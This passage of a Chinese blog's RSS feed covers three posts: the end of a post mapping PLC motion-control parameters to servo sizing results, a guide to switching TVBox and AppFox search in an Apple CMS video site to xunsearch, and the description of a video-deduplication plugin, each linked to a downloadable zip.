data-index-in-node="19">&ldquo;动态默认值 (Dynamic Defaults)&rdquo;</strong> -&gt; <strong data-path-to-node="9,2,1,0,0" data-index-in-node="49">最大速度 / 默认速度</strong>。</p></li><li><p data-path-to-node="9,2,1,1,0"><strong data-path-to-node="9,2,1,1,0" data-index-in-node="0">作用：</strong> 限制这根轴允许跑的最快速度，作为程序的安全上限。</p></li></ul></li><li><p data-path-to-node="9,3,0"><strong data-path-to-node="9,3,0" data-index-in-node="0">加速时间 (t0 或 t1)</strong></p><ul data-path-to-node="9,3,1"><li><p data-path-to-node="9,3,1,0,0"><strong data-path-to-node="9,3,1,0,0" data-index-in-node="0">对应 PLC 组态：</strong> TO轴配置里的 <strong data-path-to-node="9,3,1,0,0" data-index-in-node="19">&ldquo;动态默认值 (Dynamic Defaults)&rdquo;</strong> -&gt; <strong data-path-to-node="9,3,1,0,0" data-index-in-node="49">加速时间 (Acceleration time)</strong> / <strong data-path-to-node="9,3,1,0,0" data-index-in-node="76">减速时间 (Deceleration time)</strong>。</p></li><li><p data-path-to-node="9,3,1,1,0"><strong data-path-to-node="9,3,1,1,0" data-index-in-node="0">作用（核心重点）：</strong> 这是很多新手全凭感觉填的地方！直接把你表格里算出来的 <span class="math-inline" data-math="t_0" data-index-in-node="37">$t_0$</span> 或 <span class="math-inline" data-math="t_1" data-index-in-node="43">$t_1$</span> 填进去，就能保证 PLC 发出的脉冲或报文曲线，刚好契合这套机械的物理极限，既能达到工艺节拍要求，电机又绝不报&ldquo;过载&rdquo;或&ldquo;跟随误差过大&rdquo;。</p></li></ul></li><li><p data-path-to-node="9,4,0"><strong data-path-to-node="9,4,0" data-index-in-node="0">定位距离 (L) 或 定位角度</strong></p><ul data-path-to-node="9,4,1"><li><p data-path-to-node="9,4,1,0,0"><strong data-path-to-node="9,4,1,0,0" data-index-in-node="0">对应 PLC 编程：</strong> 你在 OB1 或 FC 里调用 <code data-path-to-node="9,4,1,0,0" data-index-in-node="27">MC_MoveRelative</code> 或 <code data-path-to-node="9,4,1,0,0" data-index-in-node="45">MC_MoveAbsolute</code> 等运动控制功能块时，填入管脚 <code data-path-to-node="9,4,1,0,0" data-index-in-node="76">Distance</code> 或 <code data-path-to-node="9,4,1,0,0" data-index-in-node="87">Position</code> 的设定值。</p></li></ul></li></ol><p>&nbsp;</p><p><strong data-path-to-node="11" data-index-in-node="0">总结成一句口诀：</strong> <strong data-path-to-node="11" data-index-in-node="9">&ldquo;选型看底层结果（看扭矩、转速、算惯量），PLC抄顶部机械（抄导程、减速比、填加减速时间）。&rdquo;</strong></p><p>&nbsp;</p>]]></description>
    <pubDate>Wed, 25 Feb 2026 08:27:15 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=111</guid>

</item>
<item>
    <title>把tvbox和appfox的搜索接口改为讯搜</title>
    <link>https://www.zijincao.cc/?post=110</link>
    <description><![CDATA[<p>1.先去软件商店下载xunsearch管理器</p><p><img src="https://www.zijincao.cc/content/uploadfile/202602/ac311771779194.png" alt="https://www.zijincao.cc/content/uploadfile/202602/ac311771779194.png" width="1146" height="933" /></p><p>2.安装讯搜插件，位置在\根目录\addons\xunsearch</p><p>3.替换App.php（\根目录\application\api\controller），替换完成后TVbox马上变成讯搜搜索。</p><p>4.替换或安装appfox插件</p><p>（根目录\application\api\controller），这里的appfox.php比较重要，这是实际的app配置，</p><p>（\根目录\addons\appfox\src\appfoxapi），这里的appfox.php没那么重要，这是点击后台配置的时候，这里的appfox.php会复制到上一行的appfox.php中</p><p>完成之后搜索接口即可变成讯搜搜索，注意使用本代码之后，搜索功能只匹配前缀，比如你搜索视频名称的中间几个字或者最后几个字，是搜索不到的，只能搜索前面的几个字。使用本代码之后大幅度降低负载占用，因为搜索功能只用讯搜搜索，与MySQL数据库没有任何关联了，所以会降低负载占用。</p><div class="reply-read"><div class="reply-ts"><div class="reply-read"><div class="reply-ts"><div class="read-sm" style="-webkit-user-select: text;">附件</div><div class="read-sm" style="-webkit-user-select: text;">&nbsp;</div></div><div class="read-pl"><a href="https://www.zijincao.cc/content/uploadfile/202602/baa01771780810.zip" target="_blank" rel="noopener noreferrer">点击下载 </a></div></div></div><div class="read-pl"><div class="reply-read">&nbsp;</div></div></div><p>苹果前端页面也是用讯搜搜索的话，需要使用这个Vod.php</p><p><span style="color: #555555; font-family: 'PingFang SC', HarmonyOS_Medium, 'Helvetica Neue', 'Microsoft YaHei', sans-serif; font-size: 12px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: #ffffff; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">/application/common/model/Vod.php</span></p><p>&nbsp;</p>]]></description>
    <pubDate>Sun, 22 Feb 2026 16:49:32 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=110</guid>

</item>
<item>
    <title>苹果cms视频去重助手</title>
    <link>https://www.zijincao.cc/?post=109</link>
    <description><![CDATA[<div>## ✨ 核心功能</div><p>&nbsp;</p><div>### 7种去重模式</div><div>1. **按标题完全匹配** - 精确查找完全相同的标题</div><div>2. **按标题模糊匹配** - 模糊查找相似标题</div><div>3. **按播放链接** - 相同播放源视频</div><div>4. **按内容哈希值** - 基于标题和播放链接生成的哈希值</div><div>5. **按标题+演员组合** - 组合条件精准匹配</div><div>6. **按标题+年代组合** - 同一时期的相同标题</div><div>7. **按标题+分类组合** - 同一分类中的相同标题</div><p>&nbsp;</p><div>### 5种保留规则</div><div>1. **保留最新添加** - 删除旧视频，保留新上传的</div><div>2. **保留最早添加** - 保留原始视频，删除后期重复</div><div>3. **保留播放最多** - 删除热度低的，保留热门视频</div><div>4. **保留评分最高** - 删除评分低的，保留高分视频</div><div>5. **合并视频** - 保留一个视频，将其他视频的播放源合并进去</div><div>&nbsp;</div><div>&nbsp;</div><div>&nbsp;</div><div>##</div><div><div class="reply-read"><div class="reply-ts"><div class="read-sm" style="-webkit-user-select: text;">去重助手</div><div class="read-sm" style="-webkit-user-select: text;">&nbsp;</div></div><div class="read-pl"><a href="https://www.zijincao.cc/content/uploadfile/202602/366e1770618319.zip" target="_blank" rel="noopener noreferrer">点击下载 </a></div></div></div>]]></description>
    <pubDate>Fri, 06 Feb 2026 19:10:26 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=109</guid>

</item></channel>
</rss>